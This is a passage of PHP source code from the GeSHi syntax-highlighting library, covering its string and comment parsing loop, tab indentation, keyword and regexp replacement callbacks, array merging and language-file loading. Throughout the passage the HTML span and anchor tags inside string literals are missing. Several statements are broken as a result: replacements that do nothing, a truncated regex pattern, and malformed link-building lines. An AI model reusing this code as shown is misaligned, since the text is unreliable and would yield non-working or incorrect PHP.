  • s are put in the source // remains XHTML compliant) // note to self: This opens up possibility of config files specifying // that languages can/cannot have multiline strings??? $string = str_replace("\n", "\n", $string); } $result .= $string; $string = ''; $i = $start - 1; continue; } elseif ($this->lexic_permissions['STRINGS'] && $hq && $hq[0] == $char && substr($part, $i, $hq_strlen) == $hq && ($i != $next_comment_regexp_pos)) { // The start of a hard quoted string if (!$this->use_classes) { $string_attributes = ' style="' . $this->language_data['STYLES']['STRINGS']['HARD'] . '"'; $escape_char_attributes = ' style="' . $this->language_data['STYLES']['ESCAPE_CHAR']['HARD'] . '"'; } else { $string_attributes = ' class="st_h"'; $escape_char_attributes = ' class="es_h"'; } // parse the stuff before this $result .= $this->parse_non_string_part($stuff_to_parse); $stuff_to_parse = ''; // now handle the string $string = ''; // look for closing quote $start = $i + $hq_strlen; while ($close_pos = strpos($part, $this->language_data['HARDQUOTE'][1], $start)) { $start = $close_pos + 1; if ($this->lexic_permissions['ESCAPE_CHAR'] && $part[$close_pos - 1] == $this->language_data['HARDCHAR'] && (($i + $hq_strlen) != ($close_pos))) { //Support empty string for HQ escapes if Starter = Escape // make sure this quote is not escaped foreach ($this->language_data['HARDESCAPE'] as $hardescape) { if (substr($part, $close_pos - 1, strlen($hardescape)) == $hardescape) { // check wether this quote is escaped or if it is something like '\\' $escape_char_pos = $close_pos - 1; while ($escape_char_pos > 0 && $part[$escape_char_pos - 1] == $this->language_data['HARDCHAR']) { --$escape_char_pos; } if (($close_pos - $escape_char_pos) & 1) { // uneven number of escape chars => this quote is escaped continue 2; } } } } // found closing quote break; } //Found the closing delimiter? if (!$close_pos) { // span till the end of this $part when no closing delimiter is found $close_pos = $length; } //Get the actual string $string = substr($part, $i, $close_pos - $i + 1); $i = $close_pos; // handle escape chars and encode html chars // (special because when we have escape chars within our string they may not be escaped) if ($this->lexic_permissions['ESCAPE_CHAR'] && $this->language_data['ESCAPE_CHAR']) { $start = 0; $new_string = ''; while ($es_pos = strpos($string, $this->language_data['ESCAPE_CHAR'], $start)) { // hmtl escape stuff before $new_string .= $this->hsc(substr($string, $start, $es_pos - $start)); // check if this is a hard escape foreach ($this->language_data['HARDESCAPE'] as $hardescape) { if (substr($string, $es_pos, strlen($hardescape)) == $hardescape) { // indeed, this is a hardescape $new_string .= "" . $this->hsc($hardescape) . ''; $start = $es_pos + strlen($hardescape); continue 2; } } // not a hard escape, but a normal escape // they come in pairs of two $c = 0; while (isset($string[$es_pos + $c]) && isset($string[$es_pos + $c + 1]) && $string[$es_pos + $c] == $this->language_data['ESCAPE_CHAR'] && $string[$es_pos + $c + 1] == $this->language_data['ESCAPE_CHAR']) { $c += 2; } if ($c) { $new_string .= "" . str_repeat($escaped_escape_char, $c) . ''; $start = $es_pos + $c; } else { // this is just a single lonely escape char... $new_string .= $escaped_escape_char; $start = $es_pos + 1; } } $string = $new_string . $this->hsc(substr($string, $start)); } else { $string = $this->hsc($string); } if ($check_linenumbers) { // Are line numbers used? If, we should end the string before // the newline and begin it again (so when
  • s are put in the source // remains XHTML compliant) // note to self: This opens up possibility of config files specifying // that languages can/cannot have multiline strings??? $string = str_replace("\n", "\n", $string); } $result .= "" . $string . ''; $string = ''; continue; } else { //Have a look for regexp comments if ($i == $next_comment_regexp_pos) { $COMMENT_MATCHED = true; $comment = $comment_regexp_cache_per_key[$next_comment_regexp_key]; $test_str = $this->hsc(substr($part, $i, $comment['length'])); //@todo If remove important do remove here if ($this->lexic_permissions['COMMENTS']['MULTI']) { if (!$this->use_classes) { $attributes = ' style="' . $this->language_data['STYLES']['COMMENTS'][$comment['key']] . '"'; } else { $attributes = ' class="co' . $comment['key'] . '"'; } $test_str = "" . $test_str . ""; // Short-cut through all the multiline code if ($check_linenumbers) { // strreplace to put close span and open span around multiline newlines $test_str = str_replace( "\n", "\n", str_replace("\n ", "\n ", $test_str) ); } } $i += $comment['length'] - 1; // parse the rest $result .= $this->parse_non_string_part($stuff_to_parse); $stuff_to_parse = ''; } // If we haven't matched a regexp comment, try multi-line comments if (!$COMMENT_MATCHED) { // Is this a multiline comment? if (!empty($this->language_data['COMMENT_MULTI']) && $next_comment_multi_pos < $i) { $next_comment_multi_pos = $length; foreach ($this->language_data['COMMENT_MULTI'] as $open => $close) { $match_i = false; if (isset($comment_multi_cache_per_key[$open]) && ($comment_multi_cache_per_key[$open] >= $i || $comment_multi_cache_per_key[$open] === false)) { // we have already matched something if ($comment_multi_cache_per_key[$open] === false) { // this comment is never matched continue; } $match_i = $comment_multi_cache_per_key[$open]; } elseif (($match_i = stripos($part, $open, $i)) !== false) { $comment_multi_cache_per_key[$open] = $match_i; } else { $comment_multi_cache_per_key[$open] = false; continue; } if ($match_i !== false && $match_i < $next_comment_multi_pos) { $next_comment_multi_pos = $match_i; $next_open_comment_multi = $open; if ($match_i === $i) { break; } } } } if ($i == $next_comment_multi_pos) { $open = $next_open_comment_multi; $close = $this->language_data['COMMENT_MULTI'][$open]; $open_strlen = strlen($open); $close_strlen = strlen($close); $COMMENT_MATCHED = true; $test_str_match = $open; //@todo If remove important do remove here if ($this->lexic_permissions['COMMENTS']['MULTI'] || $open == GESHI_START_IMPORTANT) { if ($open != GESHI_START_IMPORTANT) { if (!$this->use_classes) { $attributes = ' style="' . $this->language_data['STYLES']['COMMENTS']['MULTI'] . '"'; } else { $attributes = ' class="coMULTI"'; } $test_str = "" . $this->hsc($open); } else { if (!$this->use_classes) { $attributes = ' style="' . $this->important_styles . '"'; } else { $attributes = ' class="imp"'; } // We don't include the start of the comment if it's an // "important" part $test_str = ""; } } else { $test_str = $this->hsc($open); } $close_pos = strpos( $part, $close, $i + $open_strlen ); if ($close_pos === false) { $close_pos = $length; } // Short-cut through all the multiline code $rest_of_comment = $this->hsc(substr($part, $i + $open_strlen, $close_pos - $i - $open_strlen + $close_strlen)); if (($this->lexic_permissions['COMMENTS']['MULTI'] || $test_str_match == GESHI_START_IMPORTANT) && $check_linenumbers) { // strreplace to put close span and open span around multiline newlines $test_str .= str_replace( "\n", "\n", str_replace("\n ", "\n ", $rest_of_comment) ); } else { $test_str .= $rest_of_comment; } if ($this->lexic_permissions['COMMENTS']['MULTI'] || $test_str_match == GESHI_START_IMPORTANT) { $test_str .= ''; } $i = $close_pos + $close_strlen - 1; // parse the rest $result .= $this->parse_non_string_part($stuff_to_parse); $stuff_to_parse = ''; } } // If we haven't matched a multiline comment, try single-line comments if (!$COMMENT_MATCHED) { // cache potential single line comment occurances if (!empty($this->language_data['COMMENT_SINGLE']) && $next_comment_single_pos < $i) { $next_comment_single_pos = $length; foreach ($this->language_data['COMMENT_SINGLE'] as $comment_key => $comment_mark) { $match_i = false; if (isset($comment_single_cache_per_key[$comment_key]) && ($comment_single_cache_per_key[$comment_key] >= $i || $comment_single_cache_per_key[$comment_key] === false)) { // we have already matched something if ($comment_single_cache_per_key[$comment_key] === false) { // this comment is never matched continue; } $match_i = $comment_single_cache_per_key[$comment_key]; } elseif ( // case sensitive comments ($this->language_data['CASE_SENSITIVE'][GESHI_COMMENTS] && ($match_i = stripos($part, $comment_mark, $i)) !== false) || // non case sensitive (!$this->language_data['CASE_SENSITIVE'][GESHI_COMMENTS] && (($match_i = strpos($part, $comment_mark, $i)) !== false))) { $comment_single_cache_per_key[$comment_key] = $match_i; } else { $comment_single_cache_per_key[$comment_key] = false; continue; } if ($match_i !== false && $match_i < $next_comment_single_pos) { $next_comment_single_pos = $match_i; $next_comment_single_key = $comment_key; if ($match_i === $i) { break; } } } } if ($next_comment_single_pos == $i) { $comment_key = $next_comment_single_key; $comment_mark = $this->language_data['COMMENT_SINGLE'][$comment_key]; $com_len = strlen($comment_mark); // This check will find special variables like $# in bash // or compiler directives of Delphi beginning {$ if ((empty($sc_disallowed_before) || ($i == 0) || (false === strpos($sc_disallowed_before, $part[$i-1]))) && (empty($sc_disallowed_after) || ($length <= $i + $com_len) || (false === strpos($sc_disallowed_after, $part[$i + $com_len])))) { // this is a valid comment $COMMENT_MATCHED = true; if ($this->lexic_permissions['COMMENTS'][$comment_key]) { if (!$this->use_classes) { $attributes = ' style="' . $this->language_data['STYLES']['COMMENTS'][$comment_key] . '"'; } else { $attributes = ' class="co' . $comment_key . '"'; } $test_str = "" . $this->hsc($this->change_case($comment_mark)); } else { $test_str = $this->hsc($comment_mark); } //Check if this comment is the last in the source $close_pos = strpos($part, "\n", $i); $oops = false; if ($close_pos === false) { $close_pos = $length; $oops = true; } $test_str .= $this->hsc(substr($part, $i + $com_len, $close_pos - $i - $com_len)); if ($this->lexic_permissions['COMMENTS'][$comment_key]) { $test_str .= ""; } // Take into account that the comment might be the last in the source if (!$oops) { $test_str .= "\n"; } $i = $close_pos; // parse the rest $result .= $this->parse_non_string_part($stuff_to_parse); $stuff_to_parse = ''; } } } } // Where are we adding this char? if (!$COMMENT_MATCHED) { $stuff_to_parse .= $char; } else { $result .= $test_str; unset($test_str); $COMMENT_MATCHED = false; } } // Parse the last bit $result .= $this->parse_non_string_part($stuff_to_parse); $stuff_to_parse = ''; } else { $result .= $this->hsc($part); } // Close the that surrounds the block if ($STRICTATTRS != '') { $result = str_replace("\n", "\n", $result); $result .= ''; } $endresult .= $result; unset($part, $parts[$key], $result); } //This fix is related to SF#1923020, but has to be applied regardless of //actually highlighting symbols. /** NOTE: memorypeak #3 */ $endresult = str_replace(array('', ''), array(';', '|'), $endresult); // // Parse the last stuff (redundant?) // $result .= $this->parse_non_string_part($stuff_to_parse); // Lop off the very first and last spaces // $result = substr($result, 1, -1); // We're finished: stop timing $this->set_time($start_time, microtime()); $this->finalise($endresult); return $endresult; } /** * Swaps out spaces and tabs for HTML indentation. Not needed if * the code is in a pre block... * * @param string The source to indent (reference!) * @since 1.0.0 * @access private */ function indent(&$result) { /// Replace tabs with the correct number of spaces if (false !== strpos($result, "\t")) { $lines = explode("\n", $result); $result = null;//Save memory while we process the lines individually $tab_width = $this->get_real_tab_width(); $tab_string = ' ' . str_repeat(' ', $tab_width); for ($key = 0, $n = count($lines); $key < $n; $key++) { $line = $lines[$key]; if (false === strpos($line, "\t")) { continue; } $pos = 0; $length = strlen($line); $lines[$key] = ''; // reduce memory $IN_TAG = false; for ($i = 0; $i < $length; ++$i) { $char = $line[$i]; // Simple engine to work out whether we're in a tag. // If we are we modify $pos. This is so we ignore HTML // in the line and only workout the tab replacement // via the actual content of the string // This test could be improved to include strings in the // html so that < or > would be allowed in user's styles // (e.g. quotes: '<' '>'; or similar) if ($IN_TAG) { if ('>' == $char) { $IN_TAG = false; } $lines[$key] .= $char; } elseif ('<' == $char) { $IN_TAG = true; $lines[$key] .= '<'; } elseif ('&' == $char) { $substr = substr($line, $i + 3, 5); $posi = strpos($substr, ';'); if (false === $posi) { ++$pos; } else { $pos -= $posi+2; } $lines[$key] .= $char; } elseif ("\t" == $char) { $str = ''; // OPTIMISE - move $strs out. Make an array: // $tabs = array( // 1 => ' ', // 2 => '  ', // 3 => '   ' etc etc // to use instead of building a string every time $tab_end_width = $tab_width - ($pos % $tab_width); //Moved out of the look as it doesn't change within the loop if (($pos & 1) || 1 == $tab_end_width) { $str .= substr($tab_string, 6, $tab_end_width); } else { $str .= substr($tab_string, 0, $tab_end_width+5); } $lines[$key] .= $str; $pos += $tab_end_width; if (false === strpos($line, "\t", $i + 1)) { $lines[$key] .= substr($line, $i + 1); break; } } elseif (0 == $pos && ' ' == $char) { $lines[$key] .= ' '; ++$pos; } else { $lines[$key] .= $char; ++$pos; } } } $result = implode("\n", $lines); unset($lines);//We don't need the lines separated beyond this --- free them! } // Other whitespace // BenBE: Fix to reduce the number of replacements to be done $result = preg_replace('/^ /m', ' ', $result); $result = str_replace(' ', '  ', $result); if ($this->line_numbers == GESHI_NO_LINE_NUMBERS && $this->header_type != GESHI_HEADER_PRE_TABLE) { if ($this->line_ending === null) { $result = nl2br($result); } else { $result = str_replace("\n", $this->line_ending, $result); } } } /** * Changes the case of a keyword for those languages where a change is asked for * * @param string The keyword to change the case of * @return string The keyword with its case changed * @since 1.0.0 * @access private */ function change_case($instr) { switch ($this->language_data['CASE_KEYWORDS']) { case GESHI_CAPS_UPPER: return strtoupper($instr); case GESHI_CAPS_LOWER: return strtolower($instr); default: return $instr; } } /** * Handles replacements of keywords to include markup and links if requested * * @param string The keyword to add the Markup to * @return The HTML for the match found * @since 1.0.8 * @access private * * @todo Get rid of ender in keyword links */ function handle_keyword_replace($match) { $k = $this->_kw_replace_group; $keyword = $match[0]; $before = ''; $after = ''; if ($this->keyword_links) { // Keyword links have been ebabled if (isset($this->language_data['URLS'][$k]) && $this->language_data['URLS'][$k] != '') { // There is a base group for this keyword // Old system: strtolower //$keyword = ( $this->language_data['CASE_SENSITIVE'][$group] ) ? $keyword : strtolower($keyword); // New system: get keyword from language file to get correct case if (!$this->language_data['CASE_SENSITIVE'][$k] && strpos($this->language_data['URLS'][$k], '{FNAME}') !== false) { foreach ($this->language_data['KEYWORDS'][$k] as $word) { if (strcasecmp($word, $keyword) == 0) { break; } } } else { $word = $keyword; } $before = '<|UR1|"' . str_replace( array( '{FNAME}', '{FNAMEL}', '{FNAMEU}', '.'), array( str_replace('+', '%20', urlencode($this->hsc($word))), str_replace('+', '%20', urlencode($this->hsc(strtolower($word)))), str_replace('+', '%20', urlencode($this->hsc(strtoupper($word)))), ''), $this->language_data['URLS'][$k] ) . '">'; $after = ''; } } return $before . '<|/'. $k .'/>' . $this->change_case($keyword) . '|>' . $after; } /** * handles regular expressions highlighting-definitions with callback functions * * @note this is a callback, don't use it directly * * @param array the matches array * @return The highlighted string * @since 1.0.8 * @access private */ function handle_regexps_callback($matches) { // before: "' style=\"' . call_user_func(\"$func\", '\\1') . '\"\\1|>'", return ' style="' . call_user_func($this->language_data['STYLES']['REGEXPS'][$this->_rx_key], $matches[1]) . '"'. $matches[1] . '|>'; } /** * handles newlines in REGEXPS matches. Set the _hmr_* vars before calling this * * @note this is a callback, don't use it directly * * @param array the matches array * @return string * @since 1.0.8 * @access private */ function handle_multiline_regexps($matches) { $before = $this->_hmr_before; $after = $this->_hmr_after; if ($this->_hmr_replace) { $replace = $this->_hmr_replace; $search = array(); foreach (array_keys($matches) as $k) { $search[] = '\\' . $k; } $before = str_replace($search, $matches, $before); $after = str_replace($search, $matches, $after); $replace = str_replace($search, $matches, $replace); } else { $replace = $matches[0]; } return $before . '<|!REG3XP' . $this->_hmr_key .'!>' . str_replace("\n", "|>\n<|!REG3XP" . $this->_hmr_key . '!>', $replace) . '|>' . $after; } /** * Takes a string that has no strings or comments in it, and highlights * stuff like keywords, numbers and methods. * * @param string The string to parse for keyword, numbers etc. * @since 1.0.0 * @access private * @todo BUGGY! Why? Why not build string and return? */ function parse_non_string_part($stuff_to_parse) { $stuff_to_parse = ' ' . $this->hsc($stuff_to_parse); // Highlight keywords $disallowed_before = "(?lexic_permissions['STRINGS']) { $quotemarks = preg_quote(implode($this->language_data['QUOTEMARKS']), '/'); $disallowed_before .= $quotemarks; $disallowed_after .= $quotemarks; } $disallowed_before .= "])"; $disallowed_after .= "])"; $parser_control_pergroup = false; if (isset($this->language_data['PARSER_CONTROL'])) { if (isset($this->language_data['PARSER_CONTROL']['KEYWORDS'])) { $x = 0; // check wether per-keyword-group parser_control is enabled if (isset($this->language_data['PARSER_CONTROL']['KEYWORDS']['DISALLOWED_BEFORE'])) { $disallowed_before = $this->language_data['PARSER_CONTROL']['KEYWORDS']['DISALLOWED_BEFORE']; ++$x; } if (isset($this->language_data['PARSER_CONTROL']['KEYWORDS']['DISALLOWED_AFTER'])) { $disallowed_after = $this->language_data['PARSER_CONTROL']['KEYWORDS']['DISALLOWED_AFTER']; ++$x; } $parser_control_pergroup = (count($this->language_data['PARSER_CONTROL']['KEYWORDS']) - $x) > 0; } } foreach (array_keys($this->language_data['KEYWORDS']) as $k) { if (!isset($this->lexic_permissions['KEYWORDS'][$k]) || $this->lexic_permissions['KEYWORDS'][$k]) { $case_sensitive = $this->language_data['CASE_SENSITIVE'][$k]; $modifiers = $case_sensitive ? '' : 'i'; // NEW in 1.0.8 - per-keyword-group parser control $disallowed_before_local = $disallowed_before; $disallowed_after_local = $disallowed_after; if ($parser_control_pergroup && isset($this->language_data['PARSER_CONTROL']['KEYWORDS'][$k])) { if (isset($this->language_data['PARSER_CONTROL']['KEYWORDS'][$k]['DISALLOWED_BEFORE'])) { $disallowed_before_local = $this->language_data['PARSER_CONTROL']['KEYWORDS'][$k]['DISALLOWED_BEFORE']; } if (isset($this->language_data['PARSER_CONTROL']['KEYWORDS'][$k]['DISALLOWED_AFTER'])) { $disallowed_after_local = $this->language_data['PARSER_CONTROL']['KEYWORDS'][$k]['DISALLOWED_AFTER']; } } $this->_kw_replace_group = $k; //NEW in 1.0.8, the cached regexp list // since we don't want PHP / PCRE to crash due to too large patterns we split them into smaller chunks for ($set = 0, $set_length = count($this->language_data['CACHED_KEYWORD_LISTS'][$k]); $set < $set_length; ++$set) { $keywordset =& $this->language_data['CACHED_KEYWORD_LISTS'][$k][$set]; // Might make a more unique string for putting the number in soon // Basically, we don't put the styles in yet because then the styles themselves will // get highlighted if the language has a CSS keyword in it (like CSS, for example ;)) $stuff_to_parse = preg_replace_callback( "/$disallowed_before_local({$keywordset})(?!\(?:htm|php|aspx?))$disallowed_after_local/$modifiers", array($this, 'handle_keyword_replace'), $stuff_to_parse ); } } } // Regular expressions foreach ($this->language_data['REGEXPS'] as $key => $regexp) { if ($this->lexic_permissions['REGEXPS'][$key]) { if (is_array($regexp)) { if ($this->line_numbers != GESHI_NO_LINE_NUMBERS) { // produce valid HTML when we match multiple lines $this->_hmr_replace = $regexp[GESHI_REPLACE]; $this->_hmr_before = $regexp[GESHI_BEFORE]; $this->_hmr_key = $key; $this->_hmr_after = $regexp[GESHI_AFTER]; $stuff_to_parse = preg_replace_callback( "/" . $regexp[GESHI_SEARCH] . "/{$regexp[GESHI_MODIFIERS]}", array($this, 'handle_multiline_regexps'), $stuff_to_parse); $this->_hmr_replace = false; $this->_hmr_before = ''; $this->_hmr_after = ''; } else { $stuff_to_parse = preg_replace( '/' . $regexp[GESHI_SEARCH] . '/' . $regexp[GESHI_MODIFIERS], $regexp[GESHI_BEFORE] . '<|!REG3XP'. $key .'!>' . $regexp[GESHI_REPLACE] . '|>' . $regexp[GESHI_AFTER], $stuff_to_parse); } } else { if ($this->line_numbers != GESHI_NO_LINE_NUMBERS) { // produce valid HTML when we match multiple lines $this->_hmr_key = $key; $stuff_to_parse = preg_replace_callback( "/(" . $regexp . ")/", array($this, 'handle_multiline_regexps'), $stuff_to_parse); $this->_hmr_key = ''; } else { $stuff_to_parse = preg_replace( "/(" . $regexp . ")/", "<|!REG3XP$key!>\\1|>", $stuff_to_parse); } } } } // Highlight numbers. As of 1.0.8 we support different types of numbers $numbers_found = false; if ($this->lexic_permissions['NUMBERS'] && preg_match($this->language_data['PARSER_CONTROL']['NUMBERS']['PRECHECK_RX'], $stuff_to_parse )) { $numbers_found = true; //For each of the formats ... foreach($this->language_data['NUMBERS_RXCACHE'] as $id => $regexp) { //Check if it should be highlighted ... $stuff_to_parse = preg_replace($regexp, "<|/NUM!$id/>\\1|>", $stuff_to_parse); } } // // Now that's all done, replace /[number]/ with the correct styles // foreach (array_keys($this->language_data['KEYWORDS']) as $k) { if (!$this->use_classes) { $attributes = ' style="' . (isset($this->language_data['STYLES']['KEYWORDS'][$k]) ? $this->language_data['STYLES']['KEYWORDS'][$k] : "") . '"'; } else { $attributes = ' class="kw' . $k . '"'; } $stuff_to_parse = str_replace("<|/$k/>", "<|$attributes>", $stuff_to_parse); } if ($numbers_found) { // Put number styles in foreach($this->language_data['NUMBERS_RXCACHE'] as $id => $regexp) { //Commented out for now, as this needs some review ... // if ($numbers_permissions & $id) { //Get the appropriate style ... //Checking for unset styles is done by the style cache builder ... if (!$this->use_classes) { $attributes = ' style="' . $this->language_data['STYLES']['NUMBERS'][$id] . '"'; } else { $attributes = ' class="nu'.$id.'"'; } //Set in the correct styles ... $stuff_to_parse = str_replace("/NUM!$id/", $attributes, $stuff_to_parse); // } } } // Highlight methods and fields in objects if ($this->lexic_permissions['METHODS'] && $this->language_data['OOLANG']) { $oolang_spaces = "[\s]*"; $oolang_before = ""; $oolang_after = "[a-zA-Z][a-zA-Z0-9_]*"; if (isset($this->language_data['PARSER_CONTROL'])) { if (isset($this->language_data['PARSER_CONTROL']['OOLANG'])) { if (isset($this->language_data['PARSER_CONTROL']['OOLANG']['MATCH_BEFORE'])) { $oolang_before = $this->language_data['PARSER_CONTROL']['OOLANG']['MATCH_BEFORE']; } if (isset($this->language_data['PARSER_CONTROL']['OOLANG']['MATCH_AFTER'])) { $oolang_after = $this->language_data['PARSER_CONTROL']['OOLANG']['MATCH_AFTER']; } if (isset($this->language_data['PARSER_CONTROL']['OOLANG']['MATCH_SPACES'])) { $oolang_spaces = $this->language_data['PARSER_CONTROL']['OOLANG']['MATCH_SPACES']; } } } foreach ($this->language_data['OBJECT_SPLITTERS'] as $key => $splitter) { if (false !== strpos($stuff_to_parse, $splitter)) { if (!$this->use_classes) { $attributes = ' style="' . $this->language_data['STYLES']['METHODS'][$key] . '"'; } else { $attributes = ' class="me' . $key . '"'; } $stuff_to_parse = preg_replace("/($oolang_before)(" . preg_quote($this->language_data['OBJECT_SPLITTERS'][$key], '/') . ")($oolang_spaces)($oolang_after)/", "\\1\\2\\3<|$attributes>\\4|>", $stuff_to_parse); } } } // // Highlight brackets. Yes, I've tried adding a semi-colon to this list. // You try it, and see what happens ;) // TODO: Fix lexic permissions not converting entities if shouldn't // be highlighting regardless // if ($this->lexic_permissions['BRACKETS']) { $stuff_to_parse = str_replace( $this->language_data['CACHE_BRACKET_MATCH'], $this->language_data['CACHE_BRACKET_REPLACE'], $stuff_to_parse ); } //FIX for symbol highlighting ... if ($this->lexic_permissions['SYMBOLS'] && !empty($this->language_data['SYMBOLS'])) { //Get all matches and throw away those witin a block that is already highlighted... (i.e. matched by a regexp) $n_symbols = preg_match_all("/<\|(?:|[^>])+>(?:(?!\|>).*?)\|>|<\/a>|(?:" . $this->language_data['SYMBOL_SEARCH'] . ")+(?![^<]+?>)/", $stuff_to_parse, $pot_symbols, PREG_OFFSET_CAPTURE | PREG_SET_ORDER); $global_offset = 0; for ($s_id = 0; $s_id < $n_symbols; ++$s_id) { $symbol_match = $pot_symbols[$s_id][0][0]; if (strpos($symbol_match, '<') !== false || strpos($symbol_match, '>') !== false) { // already highlighted blocks _must_ include either < or > // so if this conditional applies, we have to skip this match // BenBE: UNLESS the block contains or if(strpos($symbol_match, '') === false && strpos($symbol_match, '') === false) { continue; } } // if we reach this point, we have a valid match which needs to be highlighted $symbol_length = strlen($symbol_match); $symbol_offset = $pot_symbols[$s_id][0][1]; unset($pot_symbols[$s_id]); $symbol_end = $symbol_length + $symbol_offset; $symbol_hl = ""; // if we have multiple styles, we have to handle them properly if ($this->language_data['MULTIPLE_SYMBOL_GROUPS']) { $old_sym = -1; // Split the current stuff to replace into its atomic symbols ... preg_match_all("/" . $this->language_data['SYMBOL_SEARCH'] . "/", $symbol_match, $sym_match_syms, PREG_PATTERN_ORDER); foreach ($sym_match_syms[0] as $sym_ms) { //Check if consequtive symbols belong to the same group to save output ... if (isset($this->language_data['SYMBOL_DATA'][$sym_ms]) && ($this->language_data['SYMBOL_DATA'][$sym_ms] != $old_sym)) { if (-1 != $old_sym) { $symbol_hl .= "|>"; } $old_sym = $this->language_data['SYMBOL_DATA'][$sym_ms]; if (!$this->use_classes) { $symbol_hl .= '<| style="' . $this->language_data['STYLES']['SYMBOLS'][$old_sym] . '">'; } else { $symbol_hl .= '<| class="sy' . $old_sym . '">'; } } $symbol_hl .= $sym_ms; } unset($sym_match_syms); //Close remaining tags and insert the replacement at the right position ... //Take caution if symbol_hl is empty to avoid doubled closing spans. if (-1 != $old_sym) { $symbol_hl .= "|>"; } } else { if (!$this->use_classes) { $symbol_hl = '<| style="' . $this->language_data['STYLES']['SYMBOLS'][0] . '">'; } else { $symbol_hl = '<| class="sy0">'; } $symbol_hl .= $symbol_match . '|>'; } $stuff_to_parse = substr_replace($stuff_to_parse, $symbol_hl, $symbol_offset + $global_offset, $symbol_length); // since we replace old text with something of different size, // we'll have to keep track of the differences $global_offset += strlen($symbol_hl) - $symbol_length; } } //FIX for symbol highlighting ... // Add class/style for regexps foreach (array_keys($this->language_data['REGEXPS']) as $key) { if ($this->lexic_permissions['REGEXPS'][$key]) { if (is_callable($this->language_data['STYLES']['REGEXPS'][$key])) { $this->_rx_key = $key; $stuff_to_parse = preg_replace_callback("/!REG3XP$key!(.*)\|>/U", array($this, 'handle_regexps_callback'), $stuff_to_parse); } else { if (!$this->use_classes) { $attributes = ' style="' . $this->language_data['STYLES']['REGEXPS'][$key] . '"'; } else { if (is_array($this->language_data['REGEXPS'][$key]) && array_key_exists(GESHI_CLASS, $this->language_data['REGEXPS'][$key])) { $attributes = ' class="' . $this->language_data['REGEXPS'][$key][GESHI_CLASS] . '"'; } else { $attributes = ' class="re' . $key . '"'; } } $stuff_to_parse = str_replace("!REG3XP$key!", "$attributes", $stuff_to_parse); } } } // Replace with . for urls $stuff_to_parse = str_replace('', '.', $stuff_to_parse); // Replace <|UR1| with link_styles[GESHI_LINK])) { if ($this->use_classes) { $stuff_to_parse = str_replace('<|UR1|', 'link_target . ' href=', $stuff_to_parse); } else { $stuff_to_parse = str_replace('<|UR1|', 'link_target . ' style="' . $this->link_styles[GESHI_LINK] . '" href=', $stuff_to_parse); } } else { $stuff_to_parse = str_replace('<|UR1|', 'link_target . ' href=', $stuff_to_parse); } // // NOW we add the span thingy ;) // $stuff_to_parse = str_replace('<|', '', '', $stuff_to_parse ); return substr($stuff_to_parse, 1); } /** * Sets the time taken to parse the code * * @param microtime The time when parsing started * @param microtime The time when parsing ended * @since 1.0.2 * @access private */ function set_time($start_time, $end_time) { $start = explode(' ', $start_time); $end = explode(' ', $end_time); $this->time = $end[0] + $end[1] - $start[0] - $start[1]; } /** * Gets the time taken to parse the code * * @return double The time taken to parse the code * @since 1.0.2 */ function get_time() { return $this->time; } /** * Merges arrays recursively, overwriting values of the first array with values of later arrays * * @since 1.0.8 * @access private */ function merge_arrays() { $arrays = func_get_args(); $narrays = count($arrays); // check arguments // comment out if more performance is necessary (in this case the foreach loop will trigger a warning if the argument is not an array) for ($i = 0; $i < $narrays; $i ++) { if (!is_array($arrays[$i])) { // also array_merge_recursive returns nothing in this case trigger_error('Argument #' . ($i+1) . ' is not an array - trying to merge array with scalar! Returning false!', E_USER_WARNING); return false; } } // the first array is in the output set in every case $ret = $arrays[0]; // merege $ret with the remaining arrays for ($i = 1; $i < $narrays; $i ++) { foreach ($arrays[$i] as $key => $value) { if (is_array($value) && isset($ret[$key])) { // if $ret[$key] is not an array you try to merge an scalar value with an array - the result is not defined (incompatible arrays) // in this case the call will trigger an E_USER_WARNING and the $ret[$key] will be false. $ret[$key] = $this->merge_arrays($ret[$key], $value); } else { $ret[$key] = $value; } } } return $ret; } /** * Gets language information and stores it for later use * * @param string The filename of the language file you want to load * @since 1.0.0 * @access private * @todo Needs to load keys for lexic permissions for keywords, regexps etc */ function load_language($file_name) { if ($file_name == $this->loaded_language) { // this file is already loaded! return; } //Prepare some stuff before actually loading the language file $this->loaded_language = $file_name; $this->parse_cache_built = false; $this->enable_highlighting(); $language_data = array(); //Load the language file require $file_name; // Perhaps some checking might be added here later to check that // $language data is a valid thing but maybe not $this->language_data = $language_data; // Set strict mode if should be set $this->strict_mode = $this->language_data['STRICT_MODE_APPLIES']; // Set permissions for all lexics to true // so they'll be highlighted by default foreach (array_keys($this->language_data['KEYWORDS']) as $key) { if (!empty($this->language_data['KEYWORDS'][$key])) { $this->lexic_permissions['KEYWORDS'][$key] = true; } else { $this->lexic_permissions['KEYWORDS'][$key] = false; } } foreach (array_keys($this->language_data['COMMENT_SINGLE']) as $key) { $this->lexic_permissions['COMMENTS'][$key] = true; } foreach (array_keys($this->language_data['REGEXPS']) as $key) { $this->lexic_permissions['REGEXPS'][$key] = true; } // for BenBE and future code reviews: // we can use empty here since we only check for existance and emptiness of an array // if it is not an array at all but rather false or null this will work as intended as well // even if $this->language_data['PARSER_CONTROL'] is undefined this won't trigger a notice if (!empty($this->language_data['PARSER_CONTROL']['ENABLE_FLAGS'])) { foreach ($this->language_data['PARSER_CONTROL']['ENABLE_FLAGS'] as $flag => $value) { // it's either true or false and maybe is true as well $perm = $value !== GESHI_NEVER; if ($flag == 'ALL') { $this->enable_highlighting($perm); continue; } if (!isset($this->lexic_permissions[$flag])) { // unknown lexic permission continue; } if (is_array($this->lexic_permissions[$flag])) { foreach ($this->lexic_permissions[$flag] as $key => $val) { $this->lexic_permissions[$flag][$key] = $perm; } } else { $this->lexic_permissions[$flag] = $perm; } } unset($this->language_data['PARSER_CONTROL']['ENABLE_FLAGS']); } //Fix: Problem where hardescapes weren't handled if no ESCAPE_CHAR was given //You need to set one for HARDESCAPES only in this case. if(!isset($this->language_data['HARDCHAR'])) { $this->language_data['HARDCHAR'] = $this->language_data['ESCAPE_CHAR']; } //NEW in 1.0.8: Allow styles to be loaded from a separate file to override defaults $style_filename = substr($file_name, 0, -4) . '.style.php'; if (is_readable($style_filename)) { //Clear any style_data that could have been set before ... if (isset($style_data)) { unset($style_data); } //Read the Style Information from the style file include $style_filename; //Apply the new styles to our current language styles if (isset($style_data) && is_array($style_data)) { $this->language_data['STYLES'] = $this->merge_arrays($this->language_data['STYLES'], $style_data); } } } /** * Takes the parsed code and various options, and creates the HTML * surrounding it to make it look nice. * * @param string The code already parsed (reference!) * @since 1.0.0 * @access private */ function finalise(&$parsed_code) { // Remove end parts of important declarations // This is BUGGY!! My fault for bad code: fix coming in 1.2 // @todo Remove 